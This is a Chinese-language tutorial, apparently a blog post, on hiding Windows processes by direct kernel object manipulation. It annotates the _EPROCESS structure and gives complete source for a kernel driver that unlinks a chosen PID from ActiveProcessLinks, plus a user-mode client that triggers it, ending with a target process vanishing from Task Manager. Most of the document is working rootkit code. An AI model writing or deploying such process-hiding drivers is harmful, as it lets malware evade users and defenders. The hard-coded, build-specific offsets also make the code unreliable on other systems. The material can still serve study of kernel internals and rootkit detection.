我们可以利用 _EPROCESS
结构体中的 ActiveProcessLinks
双向链表遍历进系统中的进程,并将特定进程从该双向链表中移除,以达到隐藏特定进程的目的。
_EPROCESS
_EPROCESS
结构体是内核用于管理和维护进程的结构体,每个进程都会有一个属于自己的结构体。同一个程序创建了多个进程,其就会有对应个数的 _EPROCESS
。
_EPROCESS
的结构如下:
kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
/*
kd> dt _KPROCESS
nt!_KPROCESS
+0x000 Header : _DISPATCHER_HEADER
// 当结构体中含有 _DISPATCHER_HEADER 结构体的
// 该结构体对象就可以使用WaitForSingleObject函数等待
+0x010 ProfileListHead : _LIST_ENTRY
+0x018 DirectoryTableBase : [2] Uint4B //Cr3
+0x020 LdtDescriptor : _KGDTENTRY //历史遗留
+0x028 Int21Descriptor : _KIDTENTRY //历史遗留
+0x030 IopmOffset : Uint2B
+0x032 Iopl : UChar
+0x033 Unused : UChar
+0x034 ActiveProcessors : Uint4B
+0x038 KernelTime : Uint4B //R0执行时间
+0x03c UserTime : Uint4B //R3执行时间
+0x040 ReadyListHead : _LIST_ENTRY
+0x048 SwapListEntry : _SINGLE_LIST_ENTRY
+0x04c VdmTrapcHandler : Ptr32 Void
+0x050 ThreadListHead : _LIST_ENTRY
+0x058 ProcessLock : Uint4B
+0x05c Affinity : Uint4B //规定进程中的所有线程能在哪个CPU上运行
// 如果值为1,那这个进程的所以线程只能在0号CPU上跑(00000001)
// 如果值为3,那这个进程的所以线程能在0、1号CPU上跑(000000011)
// 4个字节共32位, 所以最多32核; Windows64位, 就64核
+0x060 StackCount : Uint2B
+0x062 BasePriority : Char //基础优先级或最低优先级, 该进程中的所有线程最低的优先级
+0x063 ThreadQuantum : Char
+0x064 AutoAlignment : UChar
+0x065 State : UChar
+0x066 ThreadSeed : UChar
+0x067 DisableBoost : UChar
+0x068 PowerState : UChar
+0x069 DisableQuantum : UChar
+0x06a IdealNode : UChar
+0x06b Flags : _KEXECUTE_OPTIONS
+0x06b ExecuteOptions : UChar
*/
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER // 进程的创建时间
+0x078 ExitTime : _LARGE_INTEGER // 进程的退出时间
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void // 进程的PID
+0x088 ActiveProcessLinks : _LIST_ENTRY // 双向链表, 所有的活动进程都连接在一起,构成了一个链表
// PsActiveProcessHead指向全局链表头, 导出全局变量
+0x090 QuotaUsage : [3] Uint4B //虚拟内存相关的统计信息
+0x09c QuotaPeak : [3] Uint4B //虚拟内存相关的统计信息
+0x0a8 CommitCharge : Uint4B //虚拟内存相关的统计信息
+0x0ac PeakVirtualSize : Uint4B //虚拟内存相关的统计信息
+0x0b0 VirtualSize : Uint4B //虚拟内存相关的统计信息
+0x0b4 SessionProcessLinks : _LIST_ENTRY
+0x0bc DebugPort : Ptr32 Void
// 用于为调试器提供调试对象地址, 调试对象用于调试器与被调试进建立联系;
// 当调试器附加进程时, 操作系统会在DebugPort处填充一个调试对象地址, 用于供调试器使用
// 当该值为空时, 进程将会无法被调试
+0x0c0 ExceptionPort : Ptr32 Void // 调试相关
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE //句柄表
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
+0x0ec WorkingSetPage : Uint4B
+0x0f0 AddressCreationLock : _FAST_MUTEX
+0x110 HyperSpaceLock : Uint4B
+0x114 ForkInProgress : Ptr32 _ETHREAD
+0x118 HardwareTrigger : Uint4B
+0x11c VadRoot : Ptr32 Void // 指向记录当前进程线性地址分配情况的二叉树
+0x120 VadHint : Ptr32 Void
+0x124 CloneRoot : Ptr32 Void
+0x128 NumberOfPrivatePages : Uint4B
+0x12c NumberOfLockedPages : Uint4B
+0x130 Win32Process : Ptr32 Void
+0x134 Job : Ptr32 _EJOB
+0x138 SectionObject : Ptr32 Void
+0x13c SectionBaseAddress : Ptr32 Void
+0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x148 Win32WindowStation : Ptr32 Void
+0x14c InheritedFromUniqueProcessId : Ptr32 Void
+0x150 LdtInformation : Ptr32 Void
+0x154 VadFreeHint : Ptr32 Void
+0x158 VdmObjects : Ptr32 Void
+0x15c DeviceMap : Ptr32 Void
+0x160 PhysicalVadList : _LIST_ENTRY
+0x168 PageDirectoryPte : _HARDWARE_PTE
+0x168 Filler : Uint8B
+0x170 Session : Ptr32 Void
+0x174 ImageFileName : [16] UChar // 进程名
+0x184 JobLinks : _LIST_ENTRY
+0x18c LockedPagesList : Ptr32 Void
+0x190 ThreadListHead : _LIST_ENTRY
+0x198 SecurityPort : Ptr32 Void
+0x19c PaeTop : Ptr32 Void
+0x1a0 ActiveThreads : Uint4B // 活动的线程数
+0x1a4 GrantedAccess : Uint4B
+0x1a8 DefaultHardErrorProcessing : Uint4B
+0x1ac LastThreadExitStatus : Int4B
+0x1b0 Peb : Ptr32 _PEB // 指向用户层下的_PEB
+0x1b4 PrefetchTrace : _EX_FAST_REF
+0x1b8 ReadOperationCount : _LARGE_INTEGER
+0x1c0 WriteOperationCount : _LARGE_INTEGER
+0x1c8 OtherOperationCount : _LARGE_INTEGER
+0x1d0 ReadTransferCount : _LARGE_INTEGER
+0x1d8 WriteTransferCount : _LARGE_INTEGER
+0x1e0 OtherTransferCount : _LARGE_INTEGER
+0x1e8 CommitChargeLimit : Uint4B
+0x1ec CommitChargePeak : Uint4B
+0x1f0 AweInfo : Ptr32 Void
+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f8 Vm : _MMSUPPORT
+0x238 LastFaultCount : Uint4B
+0x23c ModifiedPageCount : Uint4B
+0x240 NumberOfVads : Uint4B
+0x244 JobStatus : Uint4B
+0x248 Flags : Uint4B
+0x248 CreateReported : Pos 0, 1 Bit
+0x248 NoDebugInherit : Pos 1, 1 Bit
+0x248 ProcessExiting : Pos 2, 1 Bit
+0x248 ProcessDelete : Pos 3, 1 Bit
+0x248 Wow64SplitPages : Pos 4, 1 Bit
+0x248 VmDeleted : Pos 5, 1 Bit
+0x248 OutswapEnabled : Pos 6, 1 Bit
+0x248 Outswapped : Pos 7, 1 Bit
+0x248 ForkFailed : Pos 8, 1 Bit
+0x248 HasPhysicalVad : Pos 9, 1 Bit
+0x248 AddressSpaceInitialized : Pos 10, 2 Bits
+0x248 SetTimerResolution : Pos 12, 1 Bit
+0x248 BreakOnTermination : Pos 13, 1 Bit
+0x248 SessionCreationUnderway : Pos 14, 1 Bit
+0x248 WriteWatch : Pos 15, 1 Bit
+0x248 ProcessInSession : Pos 16, 1 Bit
+0x248 OverrideAddressSpace : Pos 17, 1 Bit
+0x248 HasAddressSpace : Pos 18, 1 Bit
+0x248 LaunchPrefetched : Pos 19, 1 Bit
+0x248 InjectInpageErrors : Pos 20, 1 Bit
+0x248 VmTopDown : Pos 21, 1 Bit
+0x248 Unused3 : Pos 22, 1 Bit
+0x248 Unused4 : Pos 23, 1 Bit
+0x248 VdmAllowed : Pos 24, 1 Bit
+0x248 Unused : Pos 25, 5 Bits
+0x248 Unused1 : Pos 30, 1 Bit
+0x248 Unused2 : Pos 31, 1 Bit
+0x24c ExitStatus : Int4B
+0x250 NextPageColor : Uint2B
+0x252 SubSystemMinorVersion : UChar
+0x253 SubSystemMajorVersion : UChar
+0x252 SubSystemVersion : Uint2B
+0x254 PriorityClass : UChar
+0x255 WorkingSetAcquiredUnsafe : UChar
+0x258 Cookie : Uint4B
Code
驱动代码如下:
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\Driver"
#define SYMBOLICLINK_NAME L"\\??\\DriverLink"
#define OPER_ProcessHide CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
// 函数声明
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING RegPath);
VOID DriverUnload(PDRIVER_OBJECT pDriver);
NTSTATUS IrpCreateProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS IrpCloseProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS IrpDeviceControlProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS _NtProcessHide(ULONG uPid);
// 入口函数
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING RegPath)
{
NTSTATUS status;
ULONG uIndex = 0;
PDEVICE_OBJECT pDeviceObj = NULL; // 设备对象指针
UNICODE_STRING DeviceName; // 设备名,0环用
UNICODE_STRING SymbolicLinkName; // 符号链接名,3环用
// 创建设备名称
RtlInitUnicodeString(&DeviceName, DEVICE_NAME);
// 创建设备
status = IoCreateDevice(pDriver, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObj);
if (status != STATUS_SUCCESS)
{
IoDeleteDevice(pDeviceObj);
DbgPrint("创建设备失败.\n");
return status;
}
DbgPrint("创建设备成功.\n");
// 设置交互数据的方式
pDeviceObj->Flags |= DO_BUFFERED_IO;
// 创建符号链接
RtlInitUnicodeString(&SymbolicLinkName, SYMBOLICLINK_NAME);
IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
// 设置分发函数
pDriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
pDriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
pDriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceControlProc;
// 设置卸载函数
pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
// 卸载驱动
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
UNICODE_STRING SymbolicLinkName;
// 删除符号链接,删除设备
RtlInitUnicodeString(&SymbolicLinkName, SYMBOLICLINK_NAME);
IoDeleteSymbolicLink(&SymbolicLinkName);
IoDeleteDevice(pDriver->DeviceObject);
DbgPrint("驱动卸载成功\n");
}
// 不设置这个函数,则Ring3调用CreateFile会返回1
// IRP_MJ_CREATE 处理函数
NTSTATUS IrpCreateProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
DbgPrint("应用层连接设备.\n");
// 返回状态如果不设置,Ring3返回值是失败
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
// IRP_MJ_CLOSE 处理函数
NTSTATUS IrpCloseProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
DbgPrint("应用层断开连接设备.\n");
// 返回状态如果不设置,Ring3返回值是失败
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
// IRP_MJ_DEVICE_CONTROL 处理函数
NTSTATUS IrpDeviceControlProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
// DbgPrint("IrpDeviceControlProc.\n");
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
// 获取IRP数据
PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
// 获取控制码
ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
// 获取缓冲区地址(输入输出是同一个)
PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
// Ring3 发送数据的长度
// ULONG uInLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
// Ring0 发送数据的长度
// ULONG uOutLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
switch (uIoControlCode)
{
case OPER_ProcessHide:
{
ULONG uPid;
memcpy(&uPid, pIoBuffer, 4);
DbgPrint("隐藏进程PID: %u\n", uPid);
NTSTATUS ntRet = _NtProcessHide(uPid);
if (ntRet == STATUS_SUCCESS)
{
ntRet = 1;
}
else ntRet = 0;
memcpy(pIoBuffer, &ntRet, sizeof(NTSTATUS));
// 设置状态
pIrp->IoStatus.Information = sizeof(NTSTATUS); // 返回数据长度
status = STATUS_SUCCESS;
break;
}
}
// 返回状态如果不设置,Ring3返回值是失败
pIrp->IoStatus.Status = status;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
// 进程隐藏
NTSTATUS _NtProcessHide(ULONG uPid)
{
PEPROCESS pEPROCESS;
LPSTR lpImageFileName;
__asm
{
mov eax, fs: [0x124] ;
mov eax, [eax + 0x220];
mov pEPROCESS, eax;
/*mov eax, [eax + 0x84];
mov pid, eax;*/
}
PLIST_ENTRY pHeader = (PCHAR)pEPROCESS + 0x88;
PLIST_ENTRY pCur = pHeader;
do
{
if (*(PLONG)((ULONG)pCur - 4) == uPid)
{
lpImageFileName = (PCHAR)pCur + 0xec;
DbgPrint("该进程名称: %s\n", lpImageFileName);
pCur->Flink->Blink = pCur->Blink;
pCur->Blink->Flink = pCur->Flink;
DbgPrint("隐藏进程成功!\n");
return STATUS_SUCCESS;
}
pCur = pCur->Blink;
} while (pCur != pHeader);
return STATUS_ABANDONED;
}
测试程序代码如下:
#include <windows.h>
#include <stdio.h>
//#define DEVICE_NAME L"\\Device\\Driver"
#define SYMBOLICLINK_NAME L"\\\\.\\DriverLink"
#define OPER_ProcessHide CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IN_BUFFER_MAXLENGTH 4
#define OUT_BUFFER_MAXLENGTH 4
int main(int argc, char* argv[])
{
// 获取设备句柄
HANDLE hDevice = CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
DWORD dwError = GetLastError();
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("获取设备句柄失败 %d.\n", dwError); // 如果返回1,请在驱动中指定 IRP_MJ_CREATE 处理函数
getchar();
return 1;
}
else
{
printf("获取设备句柄成功.\n");
}
// 测试通信
BOOL bRet; // 隐藏进程返回值
DWORD dwOutSize; // 返回数据长度
DWORD dwPid; // 进程PID
// 获取进程PID
printf("请输入需要隐藏的进程PID:");
scanf("%d", &dwPid);
DeviceIoControl(hDevice, OPER_ProcessHide, &dwPid, IN_BUFFER_MAXLENGTH, &bRet, OUT_BUFFER_MAXLENGTH, &dwOutSize, NULL);
printf("uRet: %x\n", bRet);
if (bRet != 0)
{
printf("隐藏进程成功!\n");
}
else
printf("隐藏进程失败!\n");
// 关闭设备
CloseHandle(hDevice);
system("pause");
return 0;
}
可以看到,进程 haha.exe
的 PID
为 824
。
可以看到,任务管理器中已将无法看到 haha.exe
了。